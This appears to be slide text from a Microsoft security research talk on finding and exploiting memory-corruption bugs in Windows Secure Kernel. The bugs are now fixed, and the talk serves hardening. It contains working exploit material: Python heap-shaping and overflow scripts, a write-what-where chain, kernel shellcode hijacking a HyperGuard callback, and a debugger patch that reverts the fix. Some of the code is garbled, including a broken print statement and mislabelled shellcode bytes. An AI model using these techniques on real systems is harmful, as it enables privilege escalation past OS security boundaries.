Breaking VSM by Attacking Secure Kernel
Hardening Secure Kernel through Offensive Research

Saar Amar
Security Researcher @ MSRC
@AmarSaar

Daniel King
Security Researcher @ MSRC
@long123king
Outline

- World’s shortest intro to the architecture of VSM, Secure Kernel
  - Including current state of mitigations

- Vulnerabilities - fuzzing && code auditing
  - VTL0 -> VTL1
  - Found 10 vulnerabilities

- Exploits
  - With super awesome primitives along the way
  - Demos 😊

- Takeaways
  - Hardening Secure Kernel
  - Many exploitation internals!
VBS/VSM 101 – highlevel overview

- Use virtualization to enforce isolation and restrictions in the OS
- Introduce Virtual Trust Levels (VTLs), orthogonal to rings
  - VTL1 - Secure World
  - VTL0 - Normal World
  - The higher the VTL is, the more privileged it gets

- All managed by Hyper-V!
  - Secure Kernel runs in ring0VTL1
  - NTOS runs in ring0VTL0

- Hyper-V exposes 2 hypercalls for normal calls and secure calls
  - Normal call – services provided by NTOS to SK
  - Secure call – services provided by SK to NTOS
VBS/VSM 101 – highlevel overview

- Hyper-V exposes hypercalls to Secure Kernel to restrict VTL0
  - restrict VTL0 access to physical address space (using SLAT)
  - restrict VTL0 access to system registers

- Examples of mitigations based on VBS:
  - HVCI – enforce only signed code pages are +X in VTL0 SLAT
  - Credential Guard – hide secrets in ring3VTL1 address space, unreadable to VTL0
  - Hyperguard – restricts VTL0 access to system registers

- Compromise of Secure Kernel or Hyper-V bypasses those mitigations and break the model guarantees
Our story begins with a great teamwork!

- Amazing hypercalls fuzzer developed by Daniel
  - “Growing Hypervisor 0day with Hyperseed“ / Daniel and Shawn (OffensiveCon 2019)
  - Found many issues in Hyper-V

- Suggestion from Saar: use Hyperseed to fuzz SK
  - Specifically, target the securecall interface: securekernel!umInvokeSecureService
  - Already has a convenient userspace component that talks to a kernel driver
  - The crossed boundary here: ring0VTL0 (NTOS) -> ring0VTL1 (Secure Kernel)
    - DOS is out of the picture – VTL0 can DOS VTL1 by design

- 2 weeks later – Hyperseed found 5 different VTL0->VTL1 bugs 😊
  - And more were found afterwards
Thinking ahead

- Before we start doing the classic circle of life
  - Find awesome 0days
  - Gain shape primitives
  - Shape SK heap
  - Corrupt structures, gaining read/write primitives
  - Bypass mitigations
  - etc...

- Let’s get ourselves familiar with the current state of mitigations in VTL1
  - i.e. – assume we got a read/write in ring0VTL1 – what can we do?
### Mitigations

- **Which mitigations from VTL0 exist in VTL1?**

<table>
<thead>
<tr>
<th></th>
<th>NTOS (ring0VTL0)</th>
<th>Secure Kernel (ring0VTL1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>KASLR</td>
<td>☑</td>
<td>☐</td>
</tr>
<tr>
<td>CFI mechanism (CFG/XFG)</td>
<td>☑</td>
<td>☐</td>
</tr>
<tr>
<td>SLAT enforcement</td>
<td>☑</td>
<td>☐</td>
</tr>
</tbody>
</table>

- **Let’s check it out in details**
KASLR – Predictable Addresses

**Hardcoded:**
- PTE_BASE: 0xffffffffc800000000
- Pfndb: 0xffffffffc800000000
- SkmiSystemPTEs Base: 0xffffffffc800000000
- SkmImagePTEs Base: 0xffffffffcc80000000
- SkmiIoPTEs Base: 0xfffffffffffffff80000
- Paged Pool: 0xffffffff9a00000000
- shared page VTL1: 0xffffffff78000000000
- shared page VTL0 mapping: 0xffffffff78000007000

**Deterministic:**
- SkpgContext: 0xffffffff9880419b6000
- SkmiFailureLog: 0xffffffff988000000000
Great primitive

- **Shared between VTL0 and VTL1:**
  - **VTL0 -> VTL1**
    - 0xffffffff780000000000 (Writable) → 0xffffffff780000007000 (Read-only)
  
  - **VTL1 -> VTL0**
    - nt!PsplumLogBuffer (Read-only) ← 0xffffffff988000000000 (Writable)

- **Exploitation primitive:** Controlled data at a known address!
- NTOS, ring0VTL0

Browse full module list
start      end     module name
00000000 00000000  nt

Unable to enumerate user-mode unloaded modules, Win32 error 0x30

- Secure Kernel, ring0VTL1

nt!DbgBreakPointWithStatus:
00000000 00000000  cc _int_ 3

Browse full module list
start      end     module name
00000000 00000000  nt

Debuggee is running...
SLAT Enforcement

- There is EPT enforcement only on lower VTLs from higher VTLs
  - Examples: HVCI, Credential Guard, etc.

- Meaning, SK (being the higher VTL right now) isn’t EPT-enforced
  - VTL1 PTEs have the “final say”

- Given arbitrary write --> RWX in VTL1 address space!
  - Don’t need a read primitive, since PTE_BASE is fixed

- Interesting... what about W^X?
As you know, it doesn't matter what the guest page tables say, HVCI is the gatekeeper to making pages +X, and it will make sure they won't be +W at the same time (W^X). Still, I’m wondering why the stubs at the hypercall page are +WX in the PTE. Ideas? @epakscape @JosephBialek
W^X? W+X!

- Many folks found addresses in VTL0 address space that are W+X in the PTE
  - [https://twitter.com/AmarSaar/status/1017077506577436673](https://twitter.com/AmarSaar/status/1017077506577436673)
- That’s not interesting, because HVCI does a great job mitigating this
- However... there is no SLAT enforcement in VTL1
- We found 4 different addresses that are W+X!
  - We fixed all of them by now 😊
Little setup

- We used Hyperseed, super convenient 😊

- Define basic interface to securecalls from our kernel driver, and developed the POCs and exploits in an userspace program

- If you want to trigger specific securecalls in VTL1 easily, you can set breakpoints in VTL0 and change the parameters/memory in runtime
SK debugging

- Secure Kernel release binaries shipped with debugstub compiled out

- However, you can still achieve that
  - Nested virtualization
  - KVM/QEMU

- Some researchers are doing that! 😊

Refs:
- ExdiKdSample
- Tweet: WinDBG EXDi extension (and more at @gerhart_x)
- debugging-secure-kernel
The Vulnerable Function

- In the hotpatch mechanism implementation, there is a function called securekernel!SkmmObtainHotPatchUndoTable

- This function obtains an undo table to describe addresses that will be affected when reverting a hot patch

- We found 2 memory corruption issues:
  - OOB Write - by Hyperseed
  - Unmap arbitrary-controlled MDL - by statically reviewing the code
Vulnerability #1 – OOB Write

- Securecalls use TransferMdls in order to get data from VTL0
- Those TransferMdls are fully controlled by VTL0

VTL1 code does:
- SkmmMapDataTransfer() – gain a mapping in VTL1 address space
- SkmmMapMdl() – initializes a new VTL1 MDL (allocate PTEs, set metadata, etc.)
- ...
- SkmmUnmapMdl()

- VTL1 has to sanitize EVERY field it reads from VTL0
- Including TransferMdl->ByteCount
Vulnerability #1 – OOB Write

```c
PMDL TransferMdl;
NTSTATUS Status;
PMDL UndoMdl;

//
// Obtain a mapping to the undo MDL.
//

Status = SkmmMapDataTransfer(DataMdl, 
    TransferPfn, 
    SkmmMapRead, 
    &TransferMdl, 
    NULL);

if (!NT_SUCCESS(Status)) {
    return Status;
}

UndoMdl = SkAllocatePool(NonPagedPoolNx, TransferMdl->ByteCount, '1dmM');

if (UndoMdl == NULL) {
    goto CleanupAndExit;
}

OriginalUndoMdl = TransferMdl->MappedSystemVa;
```
## MDL (Memory Descriptor List) Layout

<table>
<thead>
<tr>
<th>MDL</th>
<th>+0x0</th>
<th>+0x2</th>
<th>+0x4</th>
<th>+0x6</th>
<th>+0x8</th>
<th>+0xA</th>
<th>+0xC</th>
<th>+0xE</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x0</td>
<td>Next</td>
<td>Size</td>
<td>Flags</td>
<td>Apn</td>
<td>Resv</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x10</td>
<td>Process</td>
<td>MappedSystemVa</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x20</td>
<td>StartVa</td>
<td>ByteCount</td>
<td>ByteOffset</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x30</td>
<td>Pfn0</td>
<td></td>
<td></td>
<td></td>
<td>Pfn1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td></td>
<td></td>
<td></td>
<td>...</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Allocate UndoMdl

TransferMdl

<table>
<thead>
<tr>
<th>Offset</th>
<th>Field</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x00</td>
<td>Next</td>
<td>Size, Flags, Apn, Resv</td>
</tr>
<tr>
<td>+0x10</td>
<td>Process</td>
<td>MappedSystemVa</td>
</tr>
<tr>
<td>+0x20</td>
<td>StartVa</td>
<td>ByteCount = 0x10, ByteOffset</td>
</tr>
</tbody>
</table>

UndoMdl = SkAllocatePool(TransferMdl->ByteCount)

- +0x00
- +0x10 HEAP_VS CHUNK_HEADER (of Next Pool Allocation)
- +0x20
## Reference OriginalMdl prepared by VTL 0

### TransferMdl

<table>
<thead>
<tr>
<th>Offset</th>
<th>Field</th>
<th>Size</th>
<th>Flags</th>
<th>Apn</th>
<th>Resv</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x00</td>
<td>Next</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x10</td>
<td>Process</td>
<td></td>
<td>MappedSystemVa</td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x20</td>
<td>StartVa</td>
<td></td>
<td>ByteCount</td>
<td>ByteOffset</td>
<td></td>
</tr>
</tbody>
</table>

### UndoMdl

<table>
<thead>
<tr>
<th>Offset</th>
<th>Field</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x00</td>
<td></td>
</tr>
<tr>
<td>+0x10</td>
<td>HEAP_VS_CHUNK_HEADER (of Next Pool Allocation)</td>
</tr>
<tr>
<td>+0x20</td>
<td></td>
</tr>
</tbody>
</table>

### OriginalMdl

<table>
<thead>
<tr>
<th>Offset</th>
<th>Field</th>
<th>Size</th>
<th>Flags</th>
<th>Apn</th>
<th>Resv</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x00</td>
<td>Next</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x10</td>
<td>Process</td>
<td></td>
<td>MappedSystemVa</td>
<td></td>
<td></td>
</tr>
<tr>
<td>+0x20</td>
<td>StartVa</td>
<td></td>
<td>ByteCount</td>
<td>ByteOffset</td>
<td></td>
</tr>
</tbody>
</table>
### MmInitializeMdl(UndoMdl,...)

#### TransferMdl
- **0x00**: Next
- **0x10**: Process
- **0x20**: StartVa

#### UndoMdl
- **0x00**: Next = NULL
- **0x10**: HEAP_VS_CHUNK_HEADER (of Next Pool Allocation)
- **0x20**: StartVa

#### OriginalMdl
- **0x00**: Next
- **0x10**: Process
- **0x20**: StartVa

---

```plaintext
OriginalMdl
+0x00 | Next | Size | Flags | Apn | Resv
+0x10 | Process | MappedSystemVa
+0x20 | StartVa | ByteCount | ByteOffset

TransferMdl
+0x00 | Next | Size | Flags | Apn | Resv
+0x10 | Process | MappedSystemVa
+0x20 | StartVa | ByteCount | ByteOffset

MmInitializeMdl(UndoMdl, (PVOID)OriginalMdl->ByteOffset, OriginalMdl->ByteCount);
// rdi is UndoMdl
...
```
Vulnerability #1 - PoC

Your Windows Insider Build ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.

25% complete
How to Fix?

```c
Status = SkmmMapDataTransfer(DataMd1,
   TransferPfn,
   SkmmMapRead,
   &TransferMd1,
   NULL);

if (!NT_SUCCESS(Status)) {
   return Status;
}

//
// Verify that the undo MDL is large enough to be a valid MDL.
//
//
if (TransferMd1->ByteCount < sizeof(MDL)) {
   Status = STATUS_INVALID_PARAMETER;
   goto CleanupAndExit;
}

UndoMd1 = SkAllocatePool(NonPagedPoolNx, TransferMd1->ByteCount, 'lmm');
```
The Fix

Build 18290 (Vulnerable)

Build 18841 (Patched)
Exploit #1 – Arbitrary Write

Saar Amar
@AmarSaar

Some people believe that all you need is love. That's a lie. All you need is an arbitrary/relative RW. Great analysis and exploit of @bkth_ @BlueHatIL
1. VictimMdl’s VsChunkHeader remains intact
2. VictimMdl.Next = UndoMdl.StartVa
Introducing SkpgContext

- Secure Kernel HyperGuard
- Deterministic Address
- Callback Routine Pointer
- Self-Protection
## SkpgContext Protects Its Own Integrity

<table>
<thead>
<tr>
<th>SkpgContext</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x000</td>
</tr>
<tr>
<td>.....</td>
</tr>
<tr>
<td>+0x220 Timer</td>
</tr>
<tr>
<td>.....</td>
</tr>
<tr>
<td>+0x250 TimerRoutine</td>
</tr>
<tr>
<td>+0x258 DueTime[0]</td>
</tr>
<tr>
<td>+0x260 DueTime[1]</td>
</tr>
<tr>
<td>+0x268 RuntimeCheckRoutine</td>
</tr>
<tr>
<td>.....</td>
</tr>
</tbody>
</table>
SkpgContext Protects Its Own Integrity
How To Bypass?

<table>
<thead>
<tr>
<th>SkpgContext</th>
</tr>
</thead>
<tbody>
<tr>
<td>+0x000</td>
</tr>
<tr>
<td>++...</td>
</tr>
<tr>
<td>+0x220 Timer</td>
</tr>
<tr>
<td>++...</td>
</tr>
<tr>
<td>+0x250 TimerRoutine</td>
</tr>
<tr>
<td>+0x258 DueTime[0]</td>
</tr>
<tr>
<td>+0x260 DueTime[1]</td>
</tr>
<tr>
<td>+0x268 RuntimeCheckRoutine</td>
</tr>
<tr>
<td>++...</td>
</tr>
</tbody>
</table>
Secure Kernel Pool Intro

- Use the normal kernel allocators
  - Segment Heap

- VS (Variable Size) Heap
  - Allocations of different sizes are mixed together

- LFH (Low Fragmentation) Heap
  - Allocations of the same size are allocated together

- Tag/PoolType Are Ignored
  - Allocate in paged pool

- Challenge:
  - Too few allocations
LFH Heap: 15/129 buckets activated

VS Heap: only 22 segments
Secure Kernel Pool Shaping

- Focus on VS Heap pool shaping

- Searching for persistent and controllable pool allocations
  - SECURESERVICE_CREATE_SECURE_IMAGE, 0x30 bytes minimum.

- Making holes for 0x10 size allocation

- Overwriting next allocation

- Choose a victim neighbor
  - SECURESERVICE_LIVEDUMP_START

- Challenges:
  - Not overwriting guard page after each segment
  - Not activating LFH for a specific pool size range
VS Heap Pool Shaping

---

```python
# Usage: Allocate persistent pool for pool shaping
# Securecall: SECURESERVICE_CREATE_SECURE_IMAGE
# Input:
# Output: Handles of each pool allocation

def prepare_allocs(sizes):
    buf = []
    for size in sizes:
        buf += syscall_input(SECURESERVICE_CREATE_SECURE_IMAGE, [0, 0, size, 0x10, 0, 0, 0x380])
    write_payload(buf)

def alloc(sizes):
    print(\n"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
"
`

---

```
VS Heap Pool Shaping

# Usage: Batch allocate many pools, construct MDL list.
# Securecall: SECURESERVICE_LIVEDUMP_START
# Input:
# Output:

#define prepare_livedump_start(a, b, c):
    buff = set_skcall_input(SECURESERVICE_LIVEDUMP_START, [a, b, c])
    write_payload(buff)

#define livedump_alloc(a, b, size):
    print("= " * N)
    print("+ [ livedump_alloc ] ")
    print("0x%0x, 0x%0x, 0x%0x" % (a, b, size))
    c = int((size - 0x40) / 0x08)
    prepare_livedump_start(a, b, c)
    hyperseed()

#define prepare_livedump_addbuffer(count, pages):
    buff = []
    for i in range(count):
        buff += set_skcall_input(SECURESERVICE_LIVEDUMP_ADD_BUFFER, [pages])
    write_payload(buff)

#define livedump_addbuffer(count, pages):
    print("= " * N)
    print("+ [ livedump_add_buffer ] ")
    prepare_livedump_addbuffer(count, pages)
    hyperseed()
# Usage: Make allocation holes manually.
# Input:
# Output:

```python
def fengshui(C, D):
    B = C
    A = D + 0x20

    szs = []
    for i in range(0, 10):
        szs.append(A)
        szs.append(B)

    rets = alloc(szs)

    hdls_B = []
    hdls_A = []
    for ret in rets:
        length, handle = ret
        if length == B:
            hdls_B.append(handle)
        elif length == A:
            hdls_A.append(handle)

    free(hdls_B)
    livedump_abort()
    livedump_alloc(0x10000, 20, B)

    free(hdls_A)
    szs = []
    for i in range(0, 10):
        szs.append(D)

    rets = alloc(szs)
```
VS Heap Pool Shaping

```python
# Usage: Trigger the OOB Write vulnerability
# Securecall: SECURESERVICE_OBTAIN_PATCH_UNDO_TABLE
# Input:
# Output:

def prepare_overflow(next, size, mdl_flags, apn):
    a = next
    b = size | (mdl_flags<<16) | (apn<<32)
    buff = set_skcall_input(SECURESERVICE_OBTAIN_PATCH_UNDO_TABLE, [a, b])
    write_payload(buff)

def overflow(next, size, mdl_flags, apn):
    print("= " * N)
    print("+ [ overflow ] ")
    print("0x%x0x, 0x%x0x, 0x%x0x" % (next, size, mdl_flags, apn))

    prepare_overflow(next, size, mdl_flags, apn)
    hyperseed()
```

---

# Entry Point:
# Steps:
# 1. Fill holes of intial pool
# 2. Make holes of 0x20 bytes, and place MDL after each hole
# 3. Trigger the vulnerability and overflow to its neighbor MDL header

```python
fill_holes(10)
fengshui(0x3C00, 0x4600-0x20)
for i in range(20):
    overflow(0xffffffff8000007100, 0xffffffff, 0xffffffff)
```
LiveDump and related securecalls

- **SkLiveDumpStart**
  - Allocate a list of MDL allocations
  - Those MDLs are organized into a singly-linked list by MDL->Next pointer

- **SkLiveDumpAddBuffer**
  - Locate a target MDL from the singly-linked list
  - Write to PfnArray(+0x30 ~ ...) of target MDL

- **Challenges:**
  - Skip writing to the pivot MDL which resides in read-only page
  - Control overwriting target
## MDL Singly-Linked List

### LiveDump Context
- MDLListHead
- PagesAdded

### MDL
- Offset: +0x00
  - Field: Next
- Offset: +0x10
- Offset: +0x20
  - Field: ByteCount
- Offset: +0x30
  - Field: PfnArray

### MDL
- Offset: +0x00
  - Field: Next
- Offset: +0x10
- Offset: +0x20
  - Field: ByteCount
- Offset: +0x30
  - Field: PfnArray

### MDL
- Offset: +0x00
  - Field: Next
- Offset: +0x10
- Offset: +0x20
  - Field: ByteCount
- Offset: +0x30
  - Field: PfnArray
### Where Does LiveDumpAddBuffer Write To?

<table>
<thead>
<tr>
<th>LiveDump Context</th>
<th>MDL</th>
<th>MDL</th>
<th>MDL</th>
</tr>
</thead>
<tbody>
<tr>
<td>MdlListHead</td>
<td>+0x00: Next</td>
<td>+0x00: Next</td>
<td>+0x00: Next</td>
</tr>
<tr>
<td>PagesAdded</td>
<td>+0x10: ByteCount</td>
<td>+0x10: ByteCount</td>
<td>+0x10: ByteCount</td>
</tr>
<tr>
<td></td>
<td>+0x20: PfnArray</td>
<td>+0x20: PfnArray</td>
<td>+0x20: PfnArray</td>
</tr>
</tbody>
</table>

```c
while (PagesAdded > 0)
{
    this_MDL_Capacity = this_MDL->ByteCount / PAGE_SIZE;
    if (PagesAdded > this_MDL_Capacity)
    {
        PagesAdded -= this_MDL_Capacity;
        this_MDL = this_MDL->Next;
        continue;
    }
    AddBufferTo(this_MDL, PagesAdded);
    break;
}
```
If We Can Control “Next” of One Chained MDL

<table>
<thead>
<tr>
<th>LiveDump Context</th>
<th>Victim MDL</th>
<th>Pivot MDL</th>
<th>Worker MDL</th>
</tr>
</thead>
<tbody>
<tr>
<td>MdlListHead</td>
<td>+0x00: Next</td>
<td>+0x00: Next</td>
<td>+0x00: Next</td>
</tr>
<tr>
<td>PagesAdded</td>
<td>+0x10</td>
<td>+0x10</td>
<td>+0x10</td>
</tr>
<tr>
<td></td>
<td>+0x20: ByteCount</td>
<td>+0x20: ByteCount</td>
<td>+0x20: ByteCount</td>
</tr>
<tr>
<td></td>
<td>+0x30: PfnArray</td>
<td>+0x30: PfnArray</td>
<td>+0x30: PfnArray</td>
</tr>
</tbody>
</table>
We Can Chain a Fake Pivot MDL at Shared Page

### LiveDump Context
- MdlListHead
- PagesAdded

### Undo MDL
- +0x00: Next
- +0x10
- +0x20: ByteCount
- +0x30: PfnArray

### Victim MDL
- +0x00: Next
- +0x10
- +0x20: ByteCount
- +0x30: PfnArray

### Pivot MDL
- +0x00: Next
- +0x10
- +0x20: ByteCount
- +0x30: PfnArray

### Worker MDL
- +0x00: Next
- +0x10
- +0x20: ByteCount
- +0x30: PfnArray

---

VTL 0 -> VTL 1 Shared Memory:

- VTL 0: Writable
- VTL 1: Read-only
We Control Where LiveDumpAddBuffer Write To

**Undo MDL**
- MdlListHead
- PagesAdded

**Victim MDL**
- Next
- ByteCount
- PfnArray

**Pivot MDL**
- Next
- ByteCount=0xC00
- PfnArray

**Worker MDL**
- Next
- ByteCount
- PfnArray

VTL 0 -> VTL 1 Shared Memory:
- VTL 0: Writable
- VTL 1: Read-only
**Detect Worker MDL Has Been Written**

### LiveDump Context
- MdlListHead
- PagesAdded

### Victim MDL
- +0x00  Next
- +0x10  
- +0x20  ByteCount
- +0x30  PfnArray

### Pivot MDL
- +0x00  Next
- +0x10  
- +0x20  ByteCount
- +0x30  PfnArray

### Worker MDL
- +0x00  Next
- +0x10  
- +0x20  ByteCount
- +0x30  PfnArray

---

**VTL 0 -> VTL 1 Shared Memory:**
- VTL 0:Writable
- VTL 1:Read-only

**VTL 1 -> VTL 0 Shared Memory:**
- VTL 0:Read-only
- VTL 1:Writable
Retarget Worker MDL

LiveDump Context
- MdlListHead
- PagesAdded

Victim MDL
- +0x00: Next
- +0x10
- +0x20: ByteCount
- +0x30: PfnArray

Pivot MDL
- +0x00: Next
- +0x10
- +0x20: ByteCount
- +0x30: PfnArray

Worker MDL
- +0x00: Next
- +0x10
- +0x20
- +0x30: PfnArray

VTL 0 -> VTL 1 Shared Memory:
- VTL 0: Writable
- VTL 1: Read-only
**Shared pages: Communication Channels**

- **VTL 0(write) -> VTL 1(read)**
  - Craft pivot MDL, modify Worker MDL repeatedly

- **VTL 1(write) -> VTL 0(read)**
  - Tentative overwriting target of SkLiveDumpAddBuffer
  - Indicator of Worker MDL activated.

- **Write-what-where accurately and repeatedly**
  - Pivot MDL->Next: Worker MDL
  - Pivot MDL->ByteCount: Accurately control overwriting offset to Worker MDL
  - SkLiveDumpAddBuffer: Overwriting Content
Multiple Write-What-Where

- Repeatable Write-What-Where
  - Where: (Writing Cursor)
    - Next = Writing Cursor – 0x30
    - ByteCount += PAGE_SIZE
  - What:
    - Pages = 1
    - PfnArray = [Value]
  - Write:
    - LiveDumpAddBuffer(Pages, PfnArray, ...)

- What:
  - Pages = 1
  - PfnArray = [Value]

- Write:
  - LiveDumpAddBuffer(Pages, PfnArray, ...)

\[
\text{SkLiveDumpAddBuffer}(\text{Pages}, \text{PfnArray}, ...) = \text{Value}
\]
Exploit #1 – Final to Arbitrary Code Execution

- Corrupt MDL->Next, gain 1 arbitrary write

- Fake a pivot MDL structure in the shared page (simply writes in VTL0)
  - Keep in mind that we can change that repeatedly, by design

- Use the arbitrary write to corrupt a node in SkpLiveDumpContext.Mdl chain, make it points to our pivot MDL

- Call SkLiveDumpAddBuffer to trigger arbitrary write

- Change shared page content, and call SkLiveDumpAddBuffer again!

- Arbitrary Write: Corrupt PTE -- make shared page RWX

- Arbitrary Write: Corrupt SkpgContext callback -- jump to shellcode

- PROFIT
Demo Shellcode

- Modify SkpgContext callback routine pointer
- Leak Secure Kernel pointer back to VTL 0 (through shared page)
- Reset timer, configure 5 seconds relative due time, shellcode will be invoked every 5 seconds
- Shellcode is fully controlled from VTL 0 and can be refactored for other purpose

```c
BYTE shellcode[] = {
    0x48, 0x83, 0xec, 0x30, 0xc3 // sub rsp, 30h
    0x48, 0xb9, QWORD_2_LE_BYTES(SKPG_CONTEXT_ADDR + 0x250), // movabs rcx, SKPG_CONTEXT_TIMER_CALLBACK_ADDR
    0x4c, 0x8b, 0x09, // mov r9, qword ptr[rcx]
    0x48, 0xba, QWORD_2_LE_BYTES(SHARED_MEM_SK_VIEW_ADDR + 0x150), // mov qword ptr[rcx], rdx
    0x4c, 0x8b, 0x09, 0x18, 0x48, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x04, 0x10, 0x00, 0x00, 0x00, 0x00, 0x49, 0x81, 0xc9, QWORD_2_LE_BYTES(SKPG_TIMER_ROUTINE_OFFSET), // movabs rcx, FAILURE_LOG_SK_ADDR + 0x1090
    0x48, 0xb9, QWORD_2_LE_BYTES(SKPG_CONTEXT_ADDR + 0x220), // movabs rcx, SKPG_CONTEXT_ADDR + 0x220
    0x48, 0xc7, 0xc2, DWORD_2_LE_BYTES(NEG_5_SECONDS_IN_NANOSECONDS), // mov rdx, NEG_5_SECONDS_IN_NANOSECONDS
    0xff, 0xd0, // call rdx
    0x48, 0x83, 0xc4, 0x30, // add rsp, 30h
    0xc3 // ret
};
```
Demo

- Vulnerability #1 was fixed in Jan 2019

- Secure Kernel pool switched to segment heap in Mid-2019, the exploit depends on segment heap

- This demo is against 20129 build (May 2020), where vuln#1 has already been fixed

- A trick to undo the fix by windbg command:
  - `eb nt!SkmmObtainHotPatchUndoTable+0x5D 90 90 90 90 90 90 90 90 90 90; g;`

- The exploit approach works well on latest build

- Demo only!
Vulnerability #2

- Great work! We fixed this issue (CVE-2020-0917)

- Now we make sure TransferMdl->ByteCount >= sizeof(MDL)

- But... there is something interesting in the general flow here

- Something related to mapping and unmapping of VTL1 MDLs

- Well, let’s take a closer look:
Vulnerability #2 – Unmap arbitrary controlled MDL

- As we saw, this is the flow of SkmmObtainHotPatchUndoTable

```
SkmmMapDataTransfer()

UndoMdl = lumAllocateSystemHeap()

RtlCopyMemory(UndoMdl, TransferMdl, sizeof(MDL))

Check integrity of UndoMdl fields

valid, continue flow

SkmmMapMdl(UndoMdl, SkmmMapWrite)

...```

```
SkmmUnmapMdl(UndoMdl)

invalid, goto Cleanup
```
NumberOfPages = ADDRESS_AND_SIZE_TO_SPAN_PAGES(UndoMdl->ByteOffset, 
        UndoMdl->ByteCount);

if (sizeof(MDL) + (NumberOfPages * sizeof(PFN_NUMBER)) > TransferMdl->ByteCount) {
    Status = STATUS_INVALID_PARAMETER;
    goto CleanupAndExit;
}

// Complete the local copy of the undo MDL so it can be used to map pages.
//
RtlCopyMemory(UndoMdl + 1, 
        OriginalMdl + 1, 
        NumberOfPages * sizeof(PFN_NUMBER));

Status = SkmmMapMdl(UndoMdl, SkmmMapWrite);

if (!NT_SUCCESS(Status)) {
    goto CleanupAndExit;
}

CleanupAndExit:

if (UndoMdl != NULL) {
    if (UndoMdl->MdlFlags & MDL_MAPPED_TO_SYSTEM_VA) {
        SkmmUnmapMdl(UndoMdl);
    }

    SkFreePoolEx(NonPagedPoolNx, UndoMdl);
}

SkmmUnmapDataTransfer(TransferMdl);

return Status;
Vulnerability #2 - POC

- We can call `SkmmUnmapMdl()` on a fully controlled MDL!
- Building a small POC: MDL->MappedSystemVA=0x4141414141414141

```
*** Fatal System Error: 0x00000050
(0xFFFFF6A0A0A0A0A0, 0x0000000000000000, 0xFFFFF90000A4A0830, 0x0000000000000000)

Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run `!analyze -v`
nt!DbgBreakPointWithStatus:

```
```
Vulnerability #2 - POC

- We can call `SkmmUnmapMdl()` on a fully controlled MDL!

- Building a small POC – write ZeroPTE on some in used page’s PTE

- VTL1 has its own shared page (same, 0xffffffff780000000000)

- Pass MDL->MappedSystemVA==0xffffffff780000000000

- And...
Bugcheck Analysis

IRQL_NOT_LESS_OR_EQUAL (a)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
carried by drivers using improper addresses.
If a kernel debugger is available get the stack backtrace.
Arguments:
Arg1: ffffffff780000000f8, memory referenced
Arg2: 00000000000000ff, IRQL
Arg3: 000000000000009d, bitfield :
    bit 0 : value = read operation, 1 = write operation
    bit 3 : value = not an execute operation, 1 = execute operation (only on chips which support this level of status)
Arg4: ffffffff8000ed962ef, address which referenced memory

TRAP_FRAME: ffffffff90000a49f760 -- (.trap_0xfffff90000a49f760)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=fffffff7800000700
rdx=fffffff7800000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffffff800ed962ef rsp=fffffff9000a49f8f0 rbp=fffffff9000a49f920
r8=0000000000000002 r9=fffffff9000e48788 r10=0000000000000000
r11=fffffff90008e68560 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0   nv up di pl nz na po nc
nt!SkpSyncUserSharedData+0x47:
fffff8000ed962ef 483902       cmp    qword ptr [rdx],rax ds:fffffff7800000008=????????????????
Resetting default scope

STACK_TEXT:
fffff9000a49f800  fffff8000edf75bb  : ffffff8000b5c4000  fffff8000ee68560  fffff00a49f920  038e0002 30303030  : nt!SkpSyncUserSharedData+0x47 [minkernel]
fffff9000a49f920  fffff8000ed9704  : ffffff9000a49fa00  fffff8000e020000  00000000 00000001  fffff8000edf75bb  : nt!SkpReturnFromNormalModeRaxSet+0>
fffff9000a49fa40  fffff8000ed459aa  : ffffff9000a49fa00  fffff8000e020000  00000000 00000001  fffff8000edf75bb  : nt!SkpCallNormalMode+0x44 [minkernel]
fffff9000a49fa70  fffff8000edf5731  : 00001f7' 189dfd28  0000517' 1947d1a8  00000000 00000004  fffff9000a49fae9  : nt!ShvlVinaHandler+0x4e [minkernel]
fffff9000a49fb20  fffff8000ed7a4bf  : ffffff80041602140  00000000 01000000 00000000 00000000  ffffff80041602100  : nt!KiVinaInterrupt+0x181 [minkernel]
Exploit #2

- We can call SkmmUnmapMdl on a fully controlled MDL

- So we don’t have here (yet) a corruption with a controlled content
  - But we can clearly build one 😊

- The basic logic of `SkmmUnmapMdl` is as follows:
  - Scan the PTEs range described by the MDL
  - Set each PTE to ZERO_PTE (after this, `PTE.P==0` --> each deref will panic)
  - If `Mdl.MdlFlags & MDL_PARENT_MAPPED_SYSTEM_VA`
    - Call `SkmiReleaseUnknownPtes()`
Exploit #2 - Primitives && Limitations

- The base primitive: SkmmUnmapMdl on a fully controlled MDL

